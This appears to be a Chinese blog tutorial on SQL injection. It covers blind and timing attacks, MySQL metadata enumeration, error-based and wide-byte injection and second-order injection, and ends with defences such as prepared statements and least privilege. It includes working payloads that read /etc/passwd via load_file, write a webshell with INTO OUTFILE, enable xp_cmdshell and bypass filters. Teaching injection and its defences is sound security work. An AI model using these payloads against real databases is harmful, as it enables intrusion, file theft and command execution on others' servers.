注入攻击之SQL注入

对于注入攻击,一个最基础的安全设计原则就是“数据与代码分离”。带着这个思想去学习,可能会理解地更透彻。

注入攻击的本质就是把用户输入的数据当作代码去执行了。所以其中有两个关键的条件:一是用户可以控制输入;二是原本程序要执行的代码拼接了用户输入的数据。

对于sql注入的分类,简单来看就是分为数字型和字符型。因为对数据库进行数据查询时,输入数据一般只有两种:一种是数字类型。比如where id=1where age>20,另外是一个字符串类型,比如where name='root'where datetime > '2013-08-18'

严格地说,数字也是字符串,在数据库中进行数据查询时,where id = '1'也是合法的,只不过在查询条件为数字时一般不会加单引号。

当然也有很多其他的叫法进行分类,比如POST注入指注入字段在POST数据中,延时注入指使用数据库延时特性注入等等。下面提几个常说的:

盲注

所谓“盲注”,就是在服务器没有错误回显时完成的注入攻击(当然也有说法是页面无差异的注入,也就是无论参数项后面加什么语句都不会有变化,这时候就得考虑基于时间的盲注了)。服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”,所以攻击者必须找到一个方法来验证注入的SQL语句是否得到执行。

最常见的盲注验证方法是,构造简单的条件语句,根据返回页面是否发生变化,来判断SQL语句是否得到执行。

比如,一个应用的URL如下:

http://newspaper.com/items.php?id=2

执行的SQL语句为:

select title , description , body from items where id = 2

如果攻击者构造如下的条件语句:

http://newspaper.com/items.php?id=2 and 1=2

实际执行的SQL语句就会变成:

select title , description , body from items where id = 2 and 1 = 2

因为and 1 = 2是一个假命题,所以Web应用不会将结果返回给用户,攻击者看到的页面结果将为空或者是一个出错的页面。

为了进一步确认注入是否存在,攻击者还必须再次验证这个过程。因为一些处理逻辑或安全功能,在攻击者构造异常请求时,也可能会导致页面返回不正常。攻击者继续构造如下请求:

http://newspaper.com/items.php?id=2 and 1=1

如果此时页面返回正常了,则说明注入的SQL语句的确执行了,也就是id参数存在SQL注入漏洞了。

Timing Attack

有时候,上面提到的and 1 = 2无法看出异常,那么可以尝试用Timing Attack。
在MySQL中,有一个BENCHMARK()函数,它是用于测试函数性能的。

BENCKMARK(count,expr)

函数执行的结果,是将表达式expr执行count次。比如:

BENCKMARK(count,expr)

因此,利用BENCHMARK()函数,可以让同一个函数执行若干次,是的结果返回的时间比平时要长;通过时间长短的变化,可以判断出注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack。

那么我们可以构造攻击的参数id为:

1170 UNION SELECT IF (SUBSTRING(current,1,1) = CHAR(119) , BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (SELECT Database() as current) as tbl;

类似的,可以通过以下函数获取其他信息:

database()  -  the name of the database currently connected to.
system_user()  -  the system user for the database.
current_user()  -  the current user who is logged in to the database.
last_insert_id()  -  the transaction ID of the last insert operation on the database.

如果当前数据库用户current_user具有写权限,那么攻击者还可以将信息写入本地磁盘中。比如写入Wen目录中,攻击者就有可能下载这些文件:

1170 UNION ALL SELECT table_name,table_type,engine FROM information_schema.tables WHERE table_schema = 'mysql' ORDER BY table_name DESC INTO OUTFILE '/path/location/on/server/www/schema.txt'

此外,通过Dump文件的方法,还可以写入一个webshell:

1170 UNION SELECT "",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" -- 

攻击者对数据库注入,无非是利用数据库获取更多的数据或者更大的权限,那么利用方式可以归为以下几大类:
1.查询数据
2.读写文件
3.执行命令

下面基于MySQL来谈谈数据库注入的逻辑。

MySQL

1.MySQL中的注释

MySQL中的注释有三种:
#注释从#字符到行尾;
--注释从该字符到行尾,但是后面需要跟上一个或多个空格(空格、tag都可以);
/* */注释从/序列到后面的/序列中间的字符。

其中,/* */有一个特点:

MySQL

可以看到/*!*/是有特殊含义的。在上面的语句中表示:若MySQL大的版本高于或者等于5,语句将会被执行,如果!后面不加入版本号,MySQL将会直接执行SQL语句。
MySQL

2.获取元数据

MySQL5.0及以上版本提供了信息数据库INFORMATION_SCHEMA,它提供了访问数据库元数据的方式。
如:查询用户数据库名称:

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;

其查询来源是INFORMATION_SCHEMA数据库中的INFORMATION_SCHEMA.SCHEMATA表:

INFORMATION_SCHEMA.SCHEMATA

查询当前使用的数据库中有哪些表:

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());
MySQL

其查询来源是INFORMATION_SCHEMA.TABLES表,TABLE_SCHEMA是数据库名,TABLE_NAME是表名:

INFORMATION_SCHEMA.TABLES

查询指定表的所有字段:

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';
image.png

其查询来源是INFORMATION_SCHEMA.COLUMNS表,其中TABLE_SCHEMA是指数据库名,TABLE_NAME是指表名,COLUMN_NAME是指列名。

INFORMATION_SCHEMA.COLUMNS

3.UNION查询

这一块就不多讲了,常用于在知道列数后寻找回显位置,或者执行多语句时候使用。


UNION SELECT

但是上述语句在SQL SERVER和ORACLE中会报错,原因是数据类型不匹配。在这两种数据库中,如果列的数据类型不确定,最好使用NULL关键字匹配。
补充:ORACLE中的联合查询需要多一个from dual:

select id,username,password from users where id=1 union select 1,2,3 from dual;

4.MySQL函数利用

4.1 load_file()函数读文件操作
要求文件的位置必须在服务器上,文件必须为全路径名称(绝对路径),而且用户必须持有FILE权限,文件容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。

union select 1,load_file('/etc/passwd'),3,4,5,6 #

如果有单引号过滤,可使用:

union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #

其中0x2F6574632F706173737764/etc/passwd的16进制转换结果;或者:

union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #

在浏览器返回数据时,有可能存在乱码问题,那么可以使用hex()函数将字符串转换为十六进制数据:

select hex(load_file(char(99,58,92,49,46,116,120,116)));

如:


load_file()

4.2 into outfile写文件操作
要求仍然是必须持有FILE权限,并且文件必须为全路径名称。如:

select '' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';

如果要将文件读出后,再返回结果给攻击者,则可以使用下面这个技巧:

CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes

上面要求要创建表的权限。INTO DUMPFILEINTO OUTFILE的区别是:DUMPFILE适用于二进制文件,它会将目标文件写入同一行内;而OUTFILE则更适用于文本文件。

4.3 连接字符串
在MySQL查询中,如果需要一次查询多个数据,可以使用concat()concat_ws()函数来完成:

concat()

concat_ws()

当然还有很多其他函数以及使用函数需要的权限。具体详见《Web安全深度剖析》p78.

5.MySQL显错式注入

SQL Server中将字符串转换为int类型会报错,就可以利用如下语句根据回显爆出数据库版本(如果有回显的话):

select convert(int,(select @@version));

但是在MySQL中这样子是行不通的,需要使用MySQL中的一些特性提取错误消息。

5.1通过updatexml()函数进行报错:

updatexml(XML_document,XPath_string,new_value)

这个函数的作用是在XML_document文件中根据XPath_string寻找值,并将找到的替换为new_value,那么报错原理就是提供非法的XPath_string

select * from users where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
updatexml()

5.2通过extractvalue()函数进行报错:

extractvalue(XML_document,XPath_string)

这个函数的作用是在XML_document中查找满足XPath_string格式的字符串。报错原理仍然是提供非法的XPath_string

extractvalue()

5.3通过floor()函数进行报错:
可以参考我的另一篇博客:https://www.cnblogs.com/wzy-ustc/p/14217750.html

floor()

6.宽字节注入

一般出现在PHP+MySQL中,出现的原因是编码不统一。下面的分析是基于MySQL使用了GBK编码这种宽字符集。
在PHP配置文件php.ini中存在magic_quotes_gpc选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie所接收到的单引号'、双引号"、反斜线\NULL字符都会被自动加上一个反斜线转义。
那么输入的'就会变为\',而MySQL认为\'是一个字符,所以无法闭合之前的'从而达到注入的效果。但是如果输入的是0xbf',即0xbf27,单引号被转义后变为0xbf5c27(0x5c=\),而0xbf5c被MySQL解析为一个字符,转义字符\就被绕过了,单引号'成功闭合了。
要解决这种问题,需要统一数据库、操作系统、Web应用所使用的字符集,以避免各层对字符的理解存在差异。统一设置为UTF-8是一个很好的方法。
基于字符集的攻击并不局限于SQL注入,凡是会解析数据的地方都可能存在此问题。比如在XSS攻击时,由于浏览器与服务器返回的字符编码不同,也可能会存在字符集攻击。解决方法就是在HTML页面的标签中指定当前页面的charset。

7.MySQL长字符截断

在MySQL中的一个设置里有一个sql_mode选项,当sql_mode设置为default时,即没有开启STRICT_ALL_TABLES选项时(MySQLsql_mode默认即为default),MySQL对插入超长的值只会提示warning,而不是error,这样就可能会导致一些截断问题。
比如新建的表结构如下:

CREATE TABLE USERS(
    id int(11) NOT NULL,
    username varchar(7) NOT NULL,
    password varchar(12) NOT NULL

正常的插入如下:

insert into users(id,username,password) values(1,'admin','admin');

下面两则插入只会警告而不会报错:

//'admin   '右边有3个空格,长度为8
insert into users(id,username,password) values(1,'admin   ','admin');
//在上面的基础上再加个x
insert into users(id,username,password) values(1,'admin   x','admin');

这时数据库中有三个叫admin的用户,只不过后面两个的长度为7。也就是在默认情况下,如果数据超出列默认长度,MySQL会将其截断。但是在查询username='admin'的时候,三个用户都会被查询出来。对应的攻击方法为:假设管理员登陆的用户名为admin,那么攻击者仅需要注册一个"admin "用户即可轻易进入后台管理页面,像著名的WordPress就被这样的方式攻击过。

8.UDF提权

参考https://www.jianshu.com/p/a00dd5240738

9.攻击存储过程

存储过程参考:https://www.runoob.com/w3cnote/mysql-stored-procedure.html
首先应当明确,存储过程是否防止SQL注入,要看参数是如何传递的。参数化才是防止SQL注入的关键,而不是存储过程。
存储过程其实和UDF是很相似的,但存储过程必须使用CALL或者EXECUTE来执行。所以在某种意义上,存储过程将为攻击者提供很大的便利。
比如,在MS SQL Server中,存储过程xp_cmdshell可以用来执行系统命令:

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping '

xp_cmdshell在SQL Server 2000中默认是开启的,但在SQL Server 2005及以后版本中则默认被禁止了。但是如果当前数据库用户拥有sysadmin权限,则可以使用sp_configure(SQL Server 2005与SQL Server 2008)重新开启它;如果在SQL Server 2000中禁用了xp_cmdshell,则可以使用sp_addextendedproc开启它:

EXEC sp_configure 'show advanced options',1
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE

除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的,在此就不一一列举了。

除了利用存储过程直接攻击外,存储过程本身也可能会存在注入漏洞。我们看下面这个PL/SQL的例子:

procedure get_item(
    itm_cv IN OUT ItmCurTyp,
    usr in varchar2,
    itm in varchar2)
is     open itm_cv for ' SELECT * FROM items  WHERE ' ||
                ' owner = ''' || usr ||
                ' AND itemname = ''' || itm || '''';
end get_item;

在这个存储过程中,变量usritemname都是由外部传入的,且未经过任何处理,将直接造成SQL注入问题。在Oracle数据库中,由于内置的存储过程非常多,很多存储过程都可能存在SQL注入问题,需要特别引起注意。

正确地防御SQL注入

黑名单的方法是难以解决SQL注入的问题的。比如:

$sql="SELECT id ,name,mail,cv,blog,twitter FROM register WHERE id=".mysql_real_escape_string($_GET['id']);

其中mysql_real_escape_string()函数仅仅会转义'"\r\nNULLControl-Z,那么我们可以构造如下payload:

http://vuln.example.com/user.php?id=12,AND,1=0,union,select,1,concat(user,0x3a,passwod),3,4,5,6,from,mysql.user,where,user=substring_index(current_user(),char(64),1)

还可以通过注释符或者括号绕过空格:

SELECT/**/passwd/**/from/**/user/**/
SELECT(passwd)from(user)

使用16进制绕过括号和引号等,其中0x61646D696E是字符串admin的十六进制编码:

SELECT passwd from users where user=0x61646D696E

而在SQl保留字中,像HAVINGORDER BY等都可能出现在自然语言中,用户提交的正常数据可能也会有这些单词,从而造成误杀,因此不能轻易过滤。

所以,正确的防御方法如下。

1.使用预编译语句

一般来说,防御SQl注入的最佳方式,就是使用预编译语句,绑定变量。比如在Java中使用预编译的SQL语句:

String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();

使用预编译的SQL语句,SQL语句的语义不会发生改变。在SQL语句中,变量用?表示,攻击者无法改变SQL的结构,在上面的例子中,即使攻击者插入类似于tom' or '1'='1的字符串,也只会将此字符串当作username来查询。

下面是在PHP中绑定变量的实例:

$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();

在不同的语言中,都有着使用预编译语句的方法。

2.使用存储过程

除了使用预编译语句外,还可以使用安全的存储过程。其与预编译语句的区别是存储过程需要先将SQL语句定义在数据库中。但需要注意的是,存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免,则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。

下面是一个在Java中调用存储过程的例子,其中sp_getAccountBalance是预先在数据库中定义好的存储过程:

String custname = request.getParameter("customerName");
try{
    CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
    cs.setString(1,custname);
    ResultSet results = cs.executeQuery();
    // ... result set handling
} catch (SQLException se) {
    // ... logging and error handling
}

但是有的时候,可能无法使用预编译语句或存储过程,该怎么办?这时候只能再次回到输入过滤和编码等方法上来。

3.检查数据类型

比如下面这段代码,就限制了输入数据的类型只能为interger,在这种情况下,也是无法注入成功的。


数据类型的检查并非万能,如果需求就是需要用户提交字符串,比如一段短文,则需要依赖其他的方法防范SQL注入。

4.使用安全函数

一般来说,各种Web语言都实现了一些编码函数,可以帮助对抗SQL注入。
同时,可以参考OWASP ESAPI中的实现:

ESAPI.encoder().encodeForSQL(new OracleCodec(),queryparam);

在使用时:

Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";

在最后,从数据库自身的角度来说,应该使用最小权限原则,避免Web应用直接使用root、dbowner等高权限账户直接连接数据库。如果有多个不同的应用在使用同一数据库,则也应该为每个应用分配不同的账户。Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

二次注入攻击

最后补充一下二次注入攻击。以PHP为例,PHP在开启magic_quotes_gpc后,将会对特殊字符转义,比如将'转义为\'。对于如下SQL语句:

$sql = "insert into users (id,username,password) values (20,'$title','$content')";

如果插入的title为secbug'、content为secbug.org,那么SQL语句如下:

insert into users (id,username,password) values (20,'secbug\'','secbug.org');

单引号的确是成功转义了,但是secbug\'在插入数据库中以后却没有\

image.png

这时候如果再有一处查询为:

select id,username,password from users where username='$username';

这时候单引号就成功闭合了,形成了SQL注入漏洞。

参考书籍:
《白帽子讲Web安全》
《Web安全深度剖析》

你可能感兴趣的:(注入攻击之SQL注入)